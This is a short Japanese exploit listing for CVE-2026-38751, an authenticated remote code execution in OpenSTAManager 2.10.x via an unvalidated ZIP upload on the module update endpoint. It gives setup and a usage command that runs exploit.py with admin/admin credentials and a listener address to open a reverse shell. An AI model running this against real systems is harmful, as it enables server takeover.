CVE-2026-38751

CVE-2026-38751 — OpenSTAManager モジュールアップロード RCE モジュール更新エンドポイントでの未検証ZIPアップロードによる認証済みRCE。 影響を受けるバージョン: OpenSTAManager = 2.10.x 必要条件 pip install requests 使用方法 root@kitploit: Reverse shell Penelope or any listener python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444...